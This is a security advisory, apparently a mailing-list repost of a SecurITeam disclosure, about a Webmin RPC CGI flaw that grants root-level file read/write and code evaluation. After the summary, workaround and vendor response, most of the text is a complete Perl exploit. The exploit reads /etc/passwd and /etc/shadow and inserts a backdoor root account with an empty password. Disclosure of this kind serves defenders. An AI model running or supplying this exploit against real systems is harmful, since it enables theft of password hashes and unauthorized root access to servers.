From: aviram at beyondsecurity.com (Aviram Jenik)
Subject: Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

Reference: http://www.securiteam.com/unixfocus/5CP0R1P80G.html


  Webmin Vulnerability Leads to Remote Compromise (RPC CGI)
------------------------------------------------------------------------


SUMMARY

 <http://www.webmin.com> Webmin is a web-based interface for system 
administration for Linux/UNIX. Using any browser that supports tables
and 
forms (and Java for the File Manager module) you can setup user
accounts, 
Apache, DNS, file sharing and so on. A security vulnerability in the 
product allows remote attackers to cause the execution of arbitrary 
commands and read any files on the system (with root permissions).

DETAILS

Vulnerable systems:
 * Webmin version 0.921 and above (requires regular user access)
 * Webmin version 0.92 and below (no special user required)

Technical details:
The CGI that handles remote_foreign_require and remote_foreign_call 
requests from other Webmin servers contains inadequate permission
checks. 
Access to the CGI is determined by the 'rpc' value in the 
/usr/libexec/webmin/defaultacl. This value can be '1' or '2'. If '2' is 
set, only the 'admin' user, or root are allowed access. Otherwise,
anyone 
is allowed to access the CGI. Access to this CGI would allow an attacker

any of the following functions:

1) 'quit' - as the name says, it terminates the current RPC session.
2) 'require' - forces the current RPC session to load a library/module 
file.
3) 'call' - execute a Perl or Webmin function.
4) 'eval' - evaluates a Perl code (executes it).
5) 'ping' - responds with an "OK" reply.
6) 'check' - checks whether a certain library/module is supported.
7) 'config' - display the current configuration of RPC.
8) 'write' - write a file with the provided data.
9) 'read' - read a file and return the data it contains.

Utilizing the 'read' and 'write' actions a remote attacker can read or 
write to any file that is present on the system. This specifically 
includes /etc/passwd and /etc/shadow. Access to any file is possible 
because the Webmin server runs as root, and does not drop privileges
prior 
to running those two functions. Unitizing the 'eval' function, it is 
possible to cause the execution of arbitrary commands with root 
privileges.

Because of the way the RPC communication is done, the attached exploit 
code is needed in order to perform the above actions.

Impact:
Since in many Webmin installations the Webmin admin is a non-root user,
by 
exploiting the vulnerability an attacker is able to gain root privileges

and compromise the machine.

Workaround:
Modify the defaultacl file to:
rpc=0

This is a non-valid solution for organizations handling multiple Webmin 
servers from a centralized one (remote control usage).

NOTE: This of course does not prevent the vulnerability, but rather 
disables some functionality to stop it from working.

Perquisite:
Since access to the CGI is required, valid authentication is required.

Vendor response:
The vendor has responded with the following statement:
That's not really a bug, because in standard webmin installs the 'admin'

or 'root' use has access to all modules with all privileges, which is 
equivalent to having a root login. However, if on your client's systems 
the 'admin' user has lesser privileges then it would be a security 
problem, and I think a release to tell people about it would be good
idea. 


Instead of changing the defaultacl file (which will be overwritten by
the 
next upgrade), you can go into the Webmin Users module, click on Global 
ACL next to the admin user and change the 'Can make RPC calls?' option
to 
No. I wouldn't want to change the defaultacl file in the standard webmin

distribution, as this would stop RPC from working unless it was
explicitly 
allowed. 

Exploit:
#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
  local $rv = $_[0];
  $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
  return $rv;

}

# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
local $rv = $_[0];
$rv =~ s/\+/ /g;
$rv =~ s/%(..)/pack("c",hex($1))/ge;
return $rv;
}

# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar 
ref)
# into a url-encoded string
sub serialise_variable
{
if (!defined($_[0])) {
        return 'UNDEF';
        }
local $r = ref($_[0]);
local $rv;
if (!$r) {
        $rv = &urlize($_[0]);
        }
elsif ($r eq 'SCALAR') {
        $rv = &urlize(${$_[0]});
        }
elsif ($r eq 'ARRAY') {
        $rv = join(",", map { &urlize(&serialise_variable($_)) } 
@{$_[0]});
        }
elsif ($r eq 'HASH') {
        $rv = join(",", map { &urlize(&serialise_variable($_)).",".
                              &urlize(&serialise_variable($_[0]->{$_}))
}
                            keys %{$_[0]});
        }
elsif ($r eq 'REF') {
        $rv = &serialise_variable(${$_[0]});
        }
return ($r ? $r : 'VAL').",".$rv;
}

# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the
original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
local @v = split(/,/, $_[0]);
local ($rv, $i);
if ($v[0] eq 'VAL') {
        $rv = &un_urlize($v[1]);
        }
elsif ($v[0] eq 'SCALAR') {
        local $r = &un_urlize($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'ARRAY') {
        $rv = [ ];
        for($i=1; $i<@v; $i++) {
                push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
                }
        }
elsif ($v[0] eq 'HASH') {
        $rv = { };
        for($i=1; $i<@v; $i+=2) {
                $rv->{&unserialise_variable(&un_urlize($v[$i]))} =
                        &unserialise_variable(&un_urlize($v[$i+1]));
                }
        }
elsif ($v[0] eq 'REF') {
        local $r = &unserialise_variable($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'UNDEF') {
        $rv = undef;
        }
return $rv;
}

# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
    local $res;
    pos($_[0]) = 0; # ensure start at the beginning
    while ($_[0] =~ /(.{1,45})/gs) {
        $res .= substr(pack('u', $1), 1)."\n";
        chop($res);
    }
    $res =~ tr|\` -_|AA-Za-z0-9+/|;
    local $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
    return $res;
}

use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP 
remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
";}

$username = $ARGV[4];
$password = $ARGV[5];

$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];

$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];

$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);

print "Connecting to: $proxyIP:$proxyPort, with the following user: 
$username and password: $password. Hacking server: 
$remoteIP:$remotePort\n";

$auth = &encode_base64("$username:$password");
$auth =~ s/\n//g;

if (($command_interface eq 1) || ($command_interface eq 3))
{
 $d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
 $d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
 if (($found == 1) || (/^\r\n/))
 {
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
 }
}
select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, 
"\n---\n";

close(S);

if ($command_interface eq 3)
{
 $d = { 'action' => 'write', 'data'=>join("", 
unserialise_variable($in)->{'rv'},
"hacked:x:0:0:root:/root:/bin/bash\n"), 
'file' => "/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
 $d = { 'action' => 'write', 'data'=>join("", 
unserialise_variable($in)->{'rv'},
"hacked::0:99999:7:-1:-1:134538548\n"), 
'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
 if (($found == 1) || (/^\r\n/))
 {
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
 }
}

select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, 
"\n---\n";

close(S);

# --- EOF ---


ADDITIONAL INFORMATION

The information has been provided by  <mailto:noamr@...ondsecurity.com> 
Noam Rathaus of SecurITeam.



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